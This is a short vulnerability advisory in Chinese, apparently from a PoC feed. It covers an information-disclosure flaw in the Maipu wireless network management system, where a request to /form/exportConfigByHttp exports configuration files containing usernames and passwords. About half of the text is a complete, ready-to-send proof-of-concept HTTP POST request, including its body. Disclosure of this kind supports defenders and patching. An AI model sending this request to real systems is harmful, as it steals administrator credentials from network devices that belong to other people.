迈普无线网络管理系统 /form/exportConfigByHttp 信息泄露漏洞

2026-06-12 迈普无线网络管理系统 PoC Public

Description

迈普无线网络管理系统是迈普公司推出的网络设备集中管理解决方案，提供设备配置、监控告警、拓扑管理、固件升级等功能，广泛应用于企业园区网、无线城域网等网络管理场景。该系统在特定版本中存在信息泄露漏洞，攻击者可通过 /form/exportConfigByHttp 接口导出系统配置文件，配置文件中包含用户名、密码等敏感凭据信息。

PoC

POST /form/exportConfigByHttp HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded

Download_config=%E5%AF%BC%E5%87%BA

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Maipu Wireless Management System /form/exportConfigByHttp Information Disclosure Vulnerability

References